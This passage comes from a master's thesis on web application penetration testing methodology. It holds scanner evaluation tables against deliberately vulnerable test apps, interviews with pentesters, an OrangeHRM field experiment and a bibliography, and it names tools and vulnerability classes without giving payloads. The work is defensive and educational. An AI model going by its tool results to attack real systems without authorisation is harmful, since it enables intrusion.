gorization, but also prioritizes them based on a number of factors, including prevalence and
potential impact. As noted during the interviews, it provides considerable coverage, being
estimated to cover 95% of real-world vulnerabilities by one of the interviewees [2]. Being
continuously updated every few years also means that it adapts to changes in the industry,
making it a very sound basis upon which to base a methodology.
Regarding questions two and three, there is a level of subjectivity and overlap involved,
but some distinctions can be made. The literature study showed some established terminol-
ogy regarding technical and logical vulnerabilities [13], [39], where automatic tools are more
capable of handling the technical ones. It is generally practical to automate where possible,
leaving manual methods to simply complement where the automatic tools stop being suffi-
ciently dependable. Based on the literature study and the practical experimentation, it was
found that the below distinctions were generally applicable:
• Automatic: Injection, XSS, XXE

• Mixed: Broken Authentication, Sensitive data exposure, Broken Access Control, Secu-
rity Misconfiguration, Insecure Deserialization.
• Manual: Insufficient Logging and Monitoring, Using components with known vulner-
abilities.
The fourth and final research question was answered during the verification of the com-
prehensive methodology section 5.6. In this thesis, a combination of three verification meth-
ods was used: Peer-review, Empirical Validation and Field Experimentation. Each of these
serve different specific purposes, and have their own coverage area. When used in combina-
tion, they serve to verify that the methodology appears sound, to the extent possible within
the given scope.
8.3 Future Work

While the methodology presented in this master’s thesis may be considered fit for purpose at
the time of writing, this is unlikely to remain the case for any considerable amount of time.
The security situation is under constant development, with new technologies resulting in
new possibilities for malicious actors to exploit. Not only does this mean that owners of web
applications need to do recurring testing, but it also means that any tools used need to be
updated as well. Any future use of this kind of methodology is no exception. For it to be of
any use at all, it must be kept continuously up-to-date, including the removal or introduction
of tools and methods.
Even beyond such practical matters, this thesis leaves some areas unexplored. For exam-
ple, the use of commercial tools has been ignored, for economical and scope-related reasons.
Future work, including or even focusing on such tools, are highly likely to introduce new
insights.
There is also the matter of the verification process, of which only some aspects could
be performed as part of this thesis work. In particular, it would be highly beneficial for the
credibility of the methodology to perform large-scale empirical validation by external parties.
The peer-review sessions and field experiments that were performed would also benefit from
expansion in the future.
41
A Appendix 1 - Vulnerability
Scanner evaluation
In the below tables, "A" refers to Automatic, and "M" to Manual, where applicable. All envi-
ronments are of the versions included in the OWASP BWA v1.2.
Table A.1: Initial testing

ID Scanner Environment Comment
1 Grabber WackoPicko Was easy to run, but further investigation against other
environments is necessary
2 sqlmap WackoPicko Login page vulnerable to SQL injection. Sqlmap seems
easy to use, needs to be tested against other
environments.
3 sqlmap Dvwa Found and read database through SQLi, easily cracked
the passwords. Seems to function well against weak
protection.
4 sqlmap Bricks Was able to inject aginst all 6 login-pages, each with
their own vulnerabilities.
5 Vega Bricks Found many problems, including cleartext over HTTP,
insecure cookeis, XSS, and SQLi. XSS warning seem
likely to be false positives. SQLi is implied, but never
tested. Did not find all SQLi points.
7 Vega OrangeHRM Mainly notes issues with HTTP traffic: Cookies and
plaintext passwords. Seems to have logged in, but
unclear whether entirety of application is being scanned.
8 sqlmap OrangeHRM Might not actually be injectible, at least not the login
screen.
9 Grabber Wordpress Same as above. Find it difficult to generate a report.
10 ZAP Peruggia Found url to sql injection
11 sqlmap Peruggia Was able to hack the url that was found by zap in test 10
42
Table A.2: Wackopicko
Documented Vulnerability Comments Vega ZAP Arachni Sqlmap IronWasp Wapiti BURPSuite CE
Reflected XSS Vulnerable query parameter A A A A A M
Stored XSS Vulnerable comment field A A A M
SessionID vulnerability Session cookie value A A M M
"admin-session",
auto-incrementing
Stored SQLi Stored SQLi triggered by "similar A A M
user" functionality
Reflected SQLi Vulnerable Username field A A A M
Directory Traversal Tag-field allows traversal A A A A
Multi-step Stored XSS Comment field vulnerable, but M M M M
requires a preview confirmation
Forceful Browsing High quality photoes available
through URL without paying
Command-line Injection Name field vulnerable A A A A
File Inclusion File Inclusion A A A A A M
Reflected XSS behind JavaScript Value parameter vulnerable M A A M M
Logic Flaw Coupon code is repeatable M
Reflected XSS behind Flash form Value field vulnerable M M M M
Weak username/password admin/admin M M M M
Table A.3: DVWA

Documented Vulnerability Vega ZAP Arachni Sqlmap IronWasp Wapiti BURPSuite CE
Brute Force M A M
Command Execution M A M M
CSRF M
File Inclusion M A A M
SQL Injection M A A M M M
Blind SQL Injection M A A M M
Reflected XSS M A A M M
Stored XSS M A A M M
43
Table A.4: Peruggia
Documented Vulnerability Comment Vega ZAP Arachni Sqlmap IronWasp Wapiti BURPSuite CE
Persistent XSS Username M M M
Local File Inclusion Index.php A A A
SQLi Add User A A M
SQLi Delete User
SQLi Comment Picture A A M M
Persistent XSS Comment Picture A A M
Reflected XSS Pic ID A A M
SQli Pic ID A A M M
Remoted File Inclusion Learn.php A A
Reflected XSS Learn.php A A A
SQLi Login A A M A M
Persistent XSS Upload
SQLi Upload
44
B Appendix 2 - Interviews with
industry experts
Below, the respondents’ statements and comments regarding the above listed questions is
presented in translated and paraphrased form. The below has been verified in its current
form by the respective respondents.
Questions for first set of interviews
ID Question
1 Describe a generic industry case (theoretical, if necessary)
2 Describe your general approach towards a web application penetration test. What
steps are performed?
3a Would you consider it possible to create a general/generic methodology, using
open-source tools? What would you consider the main drawbacks?
3b Are you aware of any such general methodology that is already established? If so,
have you made use of them?
4 We have limited the scope to only include web applications, how much of your
work is directed towards this type of application?
5 What tools/features do you use? How have you chosen them?
6 To what extent do you use automatic tools, as opposed to manual penetration
testing? For what purpose/steps do you use them?
7 Do you have any experience with test-environments or deliberately vulnerable
applications? If so, how accurate did you find them to be?
8 Static or dynamic analysis, what is usually the main focus? Do you read source
code at all as part of normal contractual work?
9 Do you normally work in live environments, or are you supplied with your own
instances of the applications?
10 How relevant is OWASP top 10? Do you search other types of vulnerabilities as a
standard, or are they defined by the customers scope? In general, how much of the
scope is actually defined by the customer? Business value etc.?
Interview with Peter Österberg, 2018-02-19

Peter Österberg first started working with penetration testing in 1997, and has been heavily
focused on web application and server penetration tests.
45
The Methodology
Peter’s methodology is developed through experience and he likes to work by his own stan-
dard method. He notes that, at an earlier penetration testing position, the seniors did not like
when the management tried to standardize a methodology. They were more into the creative
parts of finding vulnerabilities. Despite this, Peter believes that a standardized methodology
would be a good thing, and notes that universities have started ethical hacking courses where
they try to standardize a penetration testing methodology. Of course, there are common prac-
tices in place already. For example, using several tools in parallel is generally considered a
good idea. Just as penetration testers, tools are individually good at different things. Even
free versions of commercial tools are often quite handy, in Peter’s opinion.
Regarding false positives/negatives, Peter notes that, while it is unfortunate when things
are missed, false positives occur much more often. He claims to always make a deliberate
effort to verify all reported vulnerabilities manually, to avoid this problem. Often, in his
experience, many of the found issues are related to a very small number of actual design
flaws, and by determining those specific flaws, he is able to provide much more help to the
customer than simply pointing out the consequences.
The Customers
Peter states that, in the general case, when the customer wants help with securing their web
application, they do not know what specific modules need to be tested. In Peter’s experience,
customers are often mostly concerned about on the “outside” of the web application, i.e.
the components that are visible to a non-authenticated user, despite this representing only
a fraction of potential issues. Further, he points out that they also have very vague ideas
of what specific components this is. In order to be able to start off and help the customer
to secure their web application, a tester needs to get a hang of the web application itself by
browsing around and identifying areas where it appears to be most vulnerable. Since the
tester normally works according to a contract, he needs to optimize his time in order to help
the customer as much as possible. Such concerns do not generally apply to a potential hacker,
that could spend thousands of hours attempting to breach an application, if they so wished.
Penetration testing often occurs during final acceptance testing of new applications or
features. Sometimes, though not as often, the customer wants recurring penetration tests
at specific intervals. By a considerable margin, Peter observes that the organizations inter-
ested in information security and penetration testing is primarily those that are financial or
governmental in nature.
While Peter prefers to do his testing against local copies of applications, he is often
"forced" to test in live environments. Occasionally, he is given VPN-access to specifically
constructed test-versions of the systems-under-test, although if the application contains data
of considerable confidentiality, this is rarely an option. The primary benefit of live environ-
ments, he claims, is the possibility of testing additional security measures such as firewalls,
which are often somewhat differently set up in test environments.
Peter is rarely given access to source-code, but is often able to identify recurring problems,
allowing him to identify specific pieces of code that cause problem, with the help of the
developers themselves.
The Industry
CVE-denotations, are not very applicable to web applications, Peter claims. The CVE-entries
are often specific to a certain pieces of software (such as Facebook, OS X, Apache, etc.) and is
often very technical. Oftentimes, they therefore relate to issues outside the scope of what he
considers to be the web application itself.
The OWASP Top 10 categories cover, in Peter’s estimation, about 95-99% of the actual
vulnerabilities found in the field. With the limited time given to penetration testers, focusing
46
on these vulnerabilities is a very good idea. Since the list is sorted, in part, by occurrence,
even the top five positions provides good coverage. Regarding some vulnerabilities remain-
ing relevant for so long, he believes it is an issue of poor design processes. He notes that the
modules that tend to be most often vulnerable are the active functions, like user-input. In the
early days of his career, web applications were much simpler, and therefore much less likely
to be vulnerable. This has changed considerable in the last twenty years, moving security
focus from servers and hardware to the applications themselves. He points out the benefits
gained from the standardization of using third-party frameworks, which are often quite se-
cure. Still, designer often modify these, or add their own modules, which is much more likely
to introduce issues. Peter believes designers are often too focused on the aesthetic elements
of applications, and management too focused on usability, giving too little priority to matters
of security.
The Future
Peter notes that the web application industry is constantly evolving with regards to secu-
rity. For example, regarding online purchasing, he claims that many of the issues that were
previously prominent has become much smaller problems with time. He believes one of the
primary reasons is the introduction of PCI-standards in the mid-00’s, and the requirements
this puts on the owner of any website with money transferal functionality of any type. This
has lead to much fewer websites having such functionality specifically implemented by their
designers, instead opting for third-party plug-ins. The requirements further include period-
ical third-party testing, though some companies still opt for in-house testers in addition to
this.
Peter does not believe that the scenario of complete automation of the field of penetration
testing can be expected to come to pass within the foreseeable future. He does, however,
point out that the consultation market often demands veteran consultants, making it difficult
for new consultant to get into the business properly. In addition to this, the older generation
of penetration testers has not made a sufficient effort to educate the younger generation, lead-
ing to a potential loss of knowledge in the next few years. Different penetration testers will
also, by nature, find different vulnerabilities (though, of course, with considerable overlap).
This variance causes a bit of a problem where automated and standard ways are needed for
compliance, which in turn specifies comprehensive and a standard level of defense. Pretty
much every penetration tester wants to automate things for practical, but the best ones are
definitely those who have a strong passion with creative thinking. According to Peter, pene-
tration testing is a craftsmanship and not something that can be entirely automated without
a very good AI, much better than anything currently available. For instance, automated tools
have a hard time dealing with multi-step modules, where user-input is supplied on one page
and the result shows at another. In essence, there is a lack of flexibility and high-level un-
derstanding within the automated tools, giving them a highly limited understanding of the
logical flow of applications.
Interview with Staffan Huslid, 2018-02-26

Staffan Huslid, a certified ethical hacker began penetration testing in a professional capacity
in 2006. The primary focus of his work is not web applications, focusing more on various
other fields of security, such as credential handling, component analysis and similar specific
areas. He claims to be more interested in “what kind of systems are in place” rather than
actual source-code analysis.
The Methodology
Staffan uses a variety of tools, all of which are open-source or free versions of commercial
tools, citing difficulty arguing their relative monetary value when used against their costs.
47
While commercial tools will yield greater results, the cost is an issue throughout the field, es-
pecially in markets with a limited customer base for penetration testing, in his experience. Ex-
amples include sqlmap, Nessus, openVAS, BURPSuite, Zenmap, and Metasploit. He points
out that many of these tools are very useful, especially for penetration testers who do not
spend the majority of their time experimenting themselves, as they keep a good baseline
quality and create a platform from which to make decisions regarding specific tests.
While test environments can be useful for testing out tools and techniques, they do not,
in Staffan’s estimation, have nearly the same level of security as live sites, even disregarding
the deliberate weaknesses, limiting their usefulness.
Staffan considers penetration testing to be a largely independent field of work, with testers
individually choosing the tools they find most useful. Different background means different
specialization, leading to personal preferences when choosing tools. In general, Staffan does
apply a general method of vulnerability scanning and information gathering, before seeing
what potential there is for penetration tests to be useful. He often finds that this is very
necessary, as customer rarely have any detailed understanding of vulnerabilities and security.
He makes particular note that the terms “penetration testing” and “vulnerability scanning”
are often confused with each other, leading to occasional misunderstandings.
Staffan usually, by a considerable margin, works with white-box testing rather than black-
box. He states that no machine is ever truly safe from attackers gain access through phishing
and other types of social engineering, making black-box testing less useful. He claims than
real attacks are very rarely performed completely unauthenticated, as that is much more dif-
ficult and resource consuming.
He is occasionally allowed to perform his tests against live environments rather than his
own copies, but this is entirely up to how much the customer is willing to risk. A live test
will be a better representation of real situations, but it is often not practical, given the risk of
disrupting the live environment. Obviously, there are also potential legal issues, it must be
clear stated conditions within the agreement on what the penetration tester should test and
what happens if something goes wrong.
The Customers
Most customers are governmental, although commercial sites aren’t unusual. Generally,
though, Staffan speculates that commercial entities don’t bother much with security before
they are subjected to a costly breach. He notes that the back-end is often the most sensitive
component of any system, and most often become the priority of attackers. Once an attacker
has access to the back-end, preferably including administrative rights or root access, they are
able to do pretty much anything. General naivety among designers and developers is an
issue, with third-party components being used without enough consideration, among other
similar issues. Testing is also not done to a sufficient extent, often being part of general test-
ing towards the end of the production cycle. Staffan would much prefer a continuous testing
process well beyond release, given that information security is a highly dynamic field. He
also believes that this the reason that the OWASP top 10 sees such limited changes over time.
He believes that, if testing and updating was done more seriously and more often, or security
was a bigger concern during development, many of the issues would become considerably
less common.
Interview with Jonas Lejon 2018-03-21

Jonas Lejon, founder of IT security supplier Triop AB1 , has been involved in the information
security business since the 1990’s. While much of his previous work centered on physical
aspect of information security, it has since shifted focus towards internet connected systems.
1 Triop AB: https://triop.se/
48
The Industry
In his experience, issues often center around various implemented APIs, as well as web-
application based administrative tools and interfaces, which he claim can introduce many
attack vectors that are not immediately obvious. For example, admin access to firewall con-
figuration through web-applications could allow for XXS-attacks.
Generally, the vulnerabilities from the OWASP top 10 are in focus, and Jonas makes note of
the new additions to the 2017 version, XXE, Insecure deserialization, and Insufficient Logging
and Monitoring. He notes that, in particular, Insufficient Logging and Monitoring is difficult
to detect as an external analyst and needs to be checked with customers.
Regarding XXE, which Jonas points out as having been around for a while before becom-
ing prominent, he notes that injection points are often not known by system owners. Further,
he points out that many tools are highly lacking in capability of detecting XXE at this time,
especially blind XXE.
He uses a variety of tools, including BURPSuite, which he has extended with third-party
components.
The Methodology
Often, his general methodology includes a fair amount of preparation, with about half of the
total time being spent mapping the application, including crawling, studying documentation,
and going through whatever APIs may be present. According to Jonas, a good understanding
of the development process is key to knowing where faults can be expected to occur. In his
opinion, there is no such thing as a truly secure piece of software, and it often only takes
one vulnerability to gain access. Isolation of software, and running everything at minimal
privileges should be common practice, but is often not the case. In addition to this, event
logging is critical, as an attack can often go unnoticed for many months, meaning the logs
need to not only be thorough, but also kept around for as long as is practical.
On the issue of some vulnerability remaining prominent for many years, Jonas states that
modern frameworks almost always have safeguards, but that it takes time for such things to
be adopted to enough of an extent.
Most of the time, Jonas is allowed to perform his tests against live environments in order
to maximize the validity of the tests being run, although this depends on the customer. Oc-
casionally, he is only permitted to run tests at low-traffic hours of the day, to avoid accidental
disruptions of business. It is not uncommon for him to run his tests while the applications
are in the final stages of development, although this has on occasion led to delays, especially
with governmental clients. Such clients often have high security requirements and tend to
have development done by external actors.
49
C Appendix 3 - OrangeHRM Field
Experiment
In this appendix, the field experiment concerning that application of the comprehensive
methodology on the web application OrangeHRM, version 2.4.2, released in 2009, will be de-
scribed. The field experiment was performed by the authors of this thesis, and did not have
a customer, disallowing certain details of the methodology from being realistically tested.
Manual Review
Below, each of the questions from the manual review is answered, and their implication dis-
cussed.
1. What kind of web application are you dealing with? Is it an informative web application
or an interactive web application?
It is interactive. It has a large amount of form-based interactions with a database,
with multiple authority levels for users.
2. What tools are available? Scanners, fuzzers, specialized tools? Will the customer supply
any software to be incorporated?
For this experiment we have access to SQLmap, Vega, ZAP, Arachni, Wapiti, and
Burp CE including scanners and fuzzers.
3. What is the scope of the testing? What kind of preferences and instructions has the
customer supplied you with?
For this experiment, we will have a goal of attempting to verify the application
as secure to the point where we cannot find any vulnerabilities that could cause
considerable harm to it’s users or owners. We have been given a copy of the envi-
ronment.
4. Who are you dealing with? Is your customer military, governmental or commercial?
The customer is commercial.
5. Is there any prioritization order? Is there any particular attack or functionality, that is
being extra important to consider?
The customer is primarily worried about database integrity and user-on-user at-
tacks such as XSS.
50
6. What knowledge/experience/competence are available within the customer’s organi-
zation?
The customer does not have any resources of this kind to supply us with.
7. Is there sensitive data being stored within the application’s database? If so, what spe-
cific kind of data?
User credentials, as well as personal data regarding salaries, professional positions
and other private data is stored within the database.
8. Is there any logging and monitoring on the web application?

There is no logging and monitoring of the traffic, but the customer simply sells the
application to private companies, and the responsibility of logging and monitoring
will be on that organization instead.
9. Is there any deserialization of user supplied objects?

There is no known deserialization of user supplied objects.
Tools and Method Selection

Given the available tools, and the specifications and requests received during the manual
reviewr, it was chosen to start off using the ZAP active scanner on the base URL of the appli-
cation, with the intention of repeating the same procedure with the Vega and Arachni tools
for verification. The same tools will be used to verify any finding. If SQL injection flaws
are implied by the scanners, sqlmap will serve to verify them. Manual crawling was also be
performed, especially making note of specific application components that are not reached
by the automatic crawlers for any reason.
Vulnerability testing and Verification

While all of the active scanners made note of some minor insecurities, such as cookies be-
ing handled over http, none of them were able to detect any major vulnerabilities. As such,
manual crawling was performed in an attempt to find any particular paths that had been
missed by the active scanners. For the sake of completeness, sqlmap was deployed on any
access point to the database that was discovered, despite the active scanners not having re-
ported any issues with them. However, some user input was handled via forms in separate
dialog boxes. Since these are commonly missed or insufficiently analyzed by active scanners,
we pointed the ZAP scanner at these particular URLs, at which point it alerted us to poten-
tial XSS vulnerabilities in three separate locations. For efficiency, a manual attempt with a
rudimentary XSS attack was performed, resulting in a successful verification of the vulnera-
bilities.
Risk Analysis
Given the extreme ease with which the XSS attack could be performed, and the high potential
consequences of this type of user-on-user attacks regarding both monetary losses and repu-
tational harm, they were rated as critical. Potential costs of mitigation would be determined
with the aid of customer representatives.
Reporting
In the complete report, the above findings would be described in a similar manner. It would
be recommended that the application not be sold in its current state, as the XSS flaws are
much too severe.
51
Bibliography
[1] G. V. Post and K.-A. Kievit, “Accessibility vs. security: A look at the demand for com-
puter security”, Computers Security, vol. 10, no. 4, pp. 331–344, 1991, ISSN: 0167-4048.
DOI : 10.1016/0167-4048(91)90109-Q.
[2] P. Österberg, Interview 2018-02-19, Available in section B.

[3] Y. Jang, C. Song, S. P. Chung, T. Wang, and W. Lee, “A11y attacks: Exploiting acces-
sibility in operating systems”, in Proceedings of the 2014 ACM SIGSAC Conference on
Computer and Communications Security, ser. CCS ’14, Scottsdale, Arizona, USA: ACM,
2014, pp. 103–115, ISBN: 978-1-4503-2957-6. DOI: 10.1145/2660267.2660295.
[4] D. Calbot. (Jun. 2011). The costs of bad security, [Online]. Available: https://www.
technologyreview.com/s/424165/the-costs-of-bad-security (Accessed:
19 Apr. 2018).
[5] OWASP. (Nov. 2017). Owasp top 10 - 2017: The ten most critical web application, [On-
line]. Available: https : / / www . owasp . org / images / 7 / 72 / OWASP _ Top _ 10 -
2017_(en).pdf.pdf (Accessed: 19 Apr. 2018).
[6] J. A. Kupsch and B. P. Miller, “Manual vs. automated vulnerability assessment: A case
study”, in In First International Workshop on Managing Insider Security Threats (MIST),
West, 2009.
[7] “Enhancing the cybersecurity workforce.”, IT Professional, IT Prof, no. 1, p. 12, 2011,
ISSN: 1520-9202.
[8] S. Furnell, P. Fischer, and A. Finch, “Feature: Can’t get the staff? the growing need for
cyber-security skills.”, Computer Fraud Security, vol. 2017, pp. 5–10, 2017, ISSN: 1361-
3723.
[9] S. Huslid, Interview 2018-02-26, Available in section B.
[10] Infosec Institute, Web Application Penteration Testing Methododogy. Aug. 2015. [Online].
Available: http : / / resources . infosecinstitute . com / wp - content /
uploads/Web-Application-Penetrating-Testing-Methodology.pdf.
[11] G. S. Kc, “Countering code-injection attacks with instruction-set randomization”, in In
Proceedings of the ACM Computer and Communications Security (CCS) Conference, ACM
Press, 2003, pp. 272–280.
[12] J. Clarke-Salt, SQL Injection Attacks and Defense. Elsevier Science, 2014.
52
Bibliography
[13] Netsparker. (n.d). An automated scanner that finds all owasp top 10 security flaws,
really?, [Online]. Available: https : / / www . netsparker . com / blog / web -
security/owasp-top-10-web-security-scanner/ (Accessed: 19 Apr. 2018).
[14] J. Pauli, The basics of web hacking: tools and techniques to attack the Web. Elsevier, 2013.
[15] D. Huluka and O. Popov, “Root cause analysis of session management and broken
authentication vulnerabilities”, in World Congress on Internet Security (WorldCIS-2012),
Jun. 2012, pp. 82–86.
[16] K. Naresh and S. Kanika, “Study of web application attacks & their countermeasures.”,
2014.
[17] Risk Based Security and Open Security Foundation, “An executive’s guide to 2013 data
breach trends”, Presentation, Risk Based Security, 2014.
[18] C. Roberts, “A hands-on xml external entity vulnerability training module.”, SANS In-
stitute, 2014.
[19] S. Jan, C. D. Nguyen, and L. C. Briand, “Automated and effective testing of web services
for xml injection attacks”, in Proceedings of the 25th International Symposium on Software
Testing and Analysis, ser. ISSTA 2016, Germany: ACM, 2016, pp. 12–23, ISBN: 978-1-4503-
4390-9. DOI: 10.1145/2931037.2931042.
[20] J. Zhu, B. Chu, H. Lipford, and T. Thomas, “Mitigating access control vulnerabilities
through interactive static analysis”, in Proceedings of the 20th ACM Symposium on Access
Control Models and Technologies, ser. SACMAT ’15, Vienna, Austria: ACM, 2015, pp. 199–
209, ISBN: 978-1-4503-3556-0. DOI: 10.1145/2752952.2752976.
[21] R. S. Sandhu and P. Samarati, “Access control: Principle and practice”, IEEE Communi-
cations Magazine, vol. 32, no. 9, pp. 40–48, Sep. 1994, ISSN: 0163-6804. DOI: 10.1109/
35.312842.
[22] B. Eshete, A. Villafiorita, and K. Weldemariam, “Early detection of security misconfig-
uration vulnerabilities in web applications”, in 2011 Sixth International Conference on
Availability, Reliability and Security, Aug. 2011, pp. 169–174. DOI: 10 . 1109 / ARES .
2011.31.
[23] OWASP. (Mar. 2017). Types of cross-site scripting, [Online]. Available: https://www.
owasp.org/index.php/Types_of_Cross-Site_Scripting (Accessed: 19 Apr.
2018).
[24] J. Grossman, XSS Attack: Cross-Site Scripting Exploits and Defence. Burlington, Mass. :
Syngress, c2007, 2007, ISBN: 9781597491549.
[25] Netsparker. (n.d). Dom based cross-site scripting vulnerability, [Online]. Available:
https://www.netsparker.com/blog/web- security/dom- based- cross-
site-scripting-vulnerability (Accessed: 19 Apr. 2018).
[26] A. Doupé, M. Cova, and G. Vigna, “Why johnny can’t pentest: An analysis of black-
box web vulnerability scanners”, in International Conference on Detection of Intrusions
and Malware, and Vulnerability Assessment, Springer, 2010, pp. 111–131.
[27] C. Lai, “Java insecurity: Accounting for subtleties that can compromise code”, IEEE
Software, vol. 25, no. 1, pp. 13–19, Jan. 2008, ISSN: 0740-7459. DOI: 10.1109/MS.2008.
9.
[28] P. Xia, M. Matsushita, N. Yoshida, and K. Inoue, “Studying reuse of out-dated third-
party code in open source projects”, Information and Media Technologies, vol. 9, no. 2,
pp. 155–161, 2014.
[29] European Commission - Human Resources and Security, Standard on logging and moni-
toring, Coordination and Informatics Security, 2010.
53
Bibliography
[30] K. Kent and M. Souppaya, “Guide to computer security log management”, NIST special
publication, vol. 92, 2006.
[31] M. Meucci and A. Muller, “Owasp testing guide”, v4. 0,//OWASP Foundation, no. s 453,
2014.
[32] L. Allen, Advanced penetration testing for highly-secured environments. the ultimate security
guide : learn to perform professional penetration testing for highly-secured environments with
this intensive hands-on guide. Ser. Open source : community experience distilled. Birm-
ingham, U.K. : Packt Pub., 2012., 2012, ISBN: 9781849517744.
[33] S. Biffl, D. Winkler, and J. Bergsmann, Software quality. process automation in software
development ; 4th International Conference, SWQD 2012, Vienna, Austria, January 17-19,
2012, proceedings. Ser. Lecture notes in business information processing: 94. Berlin ; New
York : Springer, c2012., 2012, ISBN: 9783642272134.
[34] T. G. of the Hong Kong Special Administrative Region. (2008). An overview of vulner-
ability scanners, [Online]. Available: http://www.infosec.gov.hk/english/
technical/files/vulnerability.pdf (Accessed: 19 Apr. 2018).
[35] MaxCDN. (Mar. 2015). What is a transparent proxy?, [Online]. Available: https://
www . maxcdn . com / one / visual - glossary / transparent - proxy / ?utm _
source=text (Accessed: 19 Apr. 2018).
[36] M. Sutton, A. Greene, and P. Amini, Fuzzing: brute force vulnerability discovery. Pearson
Education, 2007.
[37] J. Snyder. (Jun. 2006). Active vs. passive scanning, [Online]. Available: https://www.
networkworld.com/article/2305289/network- security/active- vs--
passive-scanning.html (Accessed: 19 Apr. 2018).
[38] H. Shahriar and M. Zulkernine, “Mitigating program security vulnerabilities: Ap-
proaches and challenges.”, ACM Computing Surveys, vol. 44, no. 3, 11–11:46, 2012, ISSN:
03600300.
[39] FireWall.cx. (n.d.). Web application vulnerabilities – benefits of automated tools pen-
etration testers, [Online]. Available: http : / / www . firewall . cx / general -
topics-reviews/web-application-vulnerability-scanners/1149-web-
vulnerability- scanning- using- automated- tools- and- penetration-
testers.html (Accessed: 19 Apr. 2018).
[40] N. Rathaus. (n.d). Automating vulnerability assessment, [Online]. Available: http :
//www.beyondsecurity.cn/pdf/AVDS_Whitepaper.pdf (Accessed: 19 Apr.
2018).
[41] MultiMedia LLC. (n.d). Vulnerabilities ; vulnerability scanning, [Online]. Available:
https : / / www . sans . org / reading - room / whitepapers / threats /
vulnerabilities-vulnerability-scanning-1195 (Accessed: 19 Apr. 2018).
[42] B. Arkin, S. Stender, and G. McGraw, “Software penetration testing”, IEEE Security
Privacy, vol. 3, no. 1, pp. 84–87, Jan. 2005, ISSN: 1540-7993. DOI: 10.1109/MSP.2005.
23.
[43] FedRAMP, “Fedramp jab p-ato vulnerability scan requirements guide”, 2015. [Online].
Available: https://s3.amazonaws.com/sitesusa/wp- content/uploads/
sites / 482 / 2015 / 01 / FedRAMP - JAB - P - ATO - Vulnerability - Scan -
Requirements-Guide-v1-0.pdf (Accessed: 19 Apr. 2018).
[44] Netsparker. (n.d). How to evaluate web application security scanners, [Online]. Avail-
able: https : / / www . netsparker . com / blog / web - security / how - to -
evaluate-web-application-security-scanners-tools/ (Accessed: 19 Apr.
2018).
54
Bibliography
[45] J. Lejon, Interview 2018-03-21, Available in section B.

[46] F. A. Saeed, “Using wassec to evaluate commercial web application security scanners”,
International Journal of Soft Computing and Engineering (IJSCE), vol. 4, no. 1, pp. 177–181,
2014.
[47] “Advanced automated sql injection attacks and defensive mechanisms.”, 2016 Annual
Connecticut Conference on Industrial Electronics, Technology Automation (CT-IETA), In-
dustrial Electronics, Technology Automation (CT-IETA), Annual Connecticut Conference on,
2016, ISSN: 978-1-5090-0799-8.
[48] N. Suteva, D. Zlatkovski, and A. Mileva, “Evaluation and testing of several free/open
source web vulnerability scanners”, in Proceedings of the 10th International conference on
Informatics and Information Technology (CIIT 2013), 2013.
[49] I. Mukhopadhyay, S. Goswami, and E. Mandal, “Web penetration testing using nessus
and metasploit tool”, IOSR Journal of Computer Engineering, vol. 16, no. 3, pp. 126–129,
2014.
[50] S. Wagner, “The use of application scanners in software product quality assessment”,
in Proceedings of the 8th International Workshop on Software Quality, ser. WoSQ ’11, Szeged,
Hungary: ACM, 2011, pp. 42–49, ISBN: 978-1-4503-0851-9. DOI: 10.1145/2024587.
2024597.
[51] N. Antunes and M. Vieira, “Penetration testing for web services”, Computer, vol. 47,
no. 2, pp. 30–36, Feb. 2014, ISSN: 0018-9162. DOI: 10.1109/MC.2013.409.
[52] M. Alsaleh, A. Alarifi, N. Alomar, M. Alshreef, and A. Al-Salman, “Performance-based
comparative assessment of open source web vulnerability scanners.”, SECURITY AND
COMMUNICATION NETWORKS, 2017, ISSN: 19390114.
[53] D. A. Shelly, “Using a web server test bed to analyze the limitations of web application
vulnerability scanners”, 2010.
[54] F. Lebeau, B. Legeard, F. Peureux, and A. Vernotte, “Model-based vulnerability test-
ing for web applications.”, 2013 IEEE Sixth International Conference on Software Testing,
Verification and Validation Workshops, p. 445, 2013, ISSN: 978-1-4799-1324-4.
[55] Acunetix. (Jan. 2011). How to choose a web vulnerability scanner, [Online]. Available:
https : / / www . acunetix . com / blog / articles / how - to - choose - web -
vulnerability-scanner/ (Accessed: 19 Apr. 2018).
[56] G. K. Sims, “Student peer review in the classroom: A teaching and grading tool.”, Jour-
nal of Agronomic Education (JAE), vol. 18, no. 2, pp. 105–08, 1989.
[57] B. Martin, Suppression Stories. Research Online, 1997. [Online]. Available: http : / /
www.bmartin.cc/dissent/documents/ss/ss.pdf.
[58] ReviseSociology. (Jan. 2016). Field experiments: Definition, examples, advantages and
disadvantages, [Online]. Available: https : / / revisesociology . com / 2016 /
01 / 17 / field - experiments - definition - examples - advantages - and -
disadvantages (Accessed: 19 Apr. 2018).
[59] R. Eran, E.-H. Yuval, R. Gil, and T. Tsarfati, “System for determining web application
vulnerabilities”, US 6584569B2, Jun. 2003. [Online]. Available: https : / / patents .
google.com/patent/US6584569B2/en (Accessed: 19 Apr. 2018).
[60] M. P. Dafydd Stuttard, in The Web Application Hacker’s Handbook - Finding and Exploiting
Security Flaws, Second Edition, John Wiley Sons, Inc., 2011, ISBN: 978-1-118-02647-2.
55

Pentesting

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Pentesting

Uploaded by

Copyright:

Available Formats

Linköping University | Department of Computer and Information Science

Master thesis, 30 ECTS | Datateknik

Penetration testing for the in-

Penetrationstestning för den oerfarne etiska hackaren

Supervisor : Jan Karlsson, Ulf Kargén

The authors of this thesis would like to do the following acknowledgements:

4 Existing Tools, Methods and Environments 14

A Appendix 1 - Vulnerability Scanner evaluation 42

B Appendix 2 - Interviews with industry experts 45

C Appendix 3 - OrangeHRM Field Experiment 50

3.1 Risk Severity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

6.1 Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28

2.1 Log States . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

6.1 Tools and their respective fulfillment of requirements . . . . . . . . . . . . . . . . . 28

A.1 Initial testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

1.3 Method Overview

5. Verify the validity of the solution.

1.4 Research questions

• What notable vulnerabilities are most critical for web applications?

• How can the effectiveness of the methodology be verified?

1.6 Secure State Cyber

2.1 National Vulnerability Database (NVD)

In turn, CVSS5 provides a way to calculate a vulnerabilities severity numerically, based

2.2 Open Web Application Security Project (OWASP) Top 10

Countermeasures and detection

2 - Broken Authentication (BA)

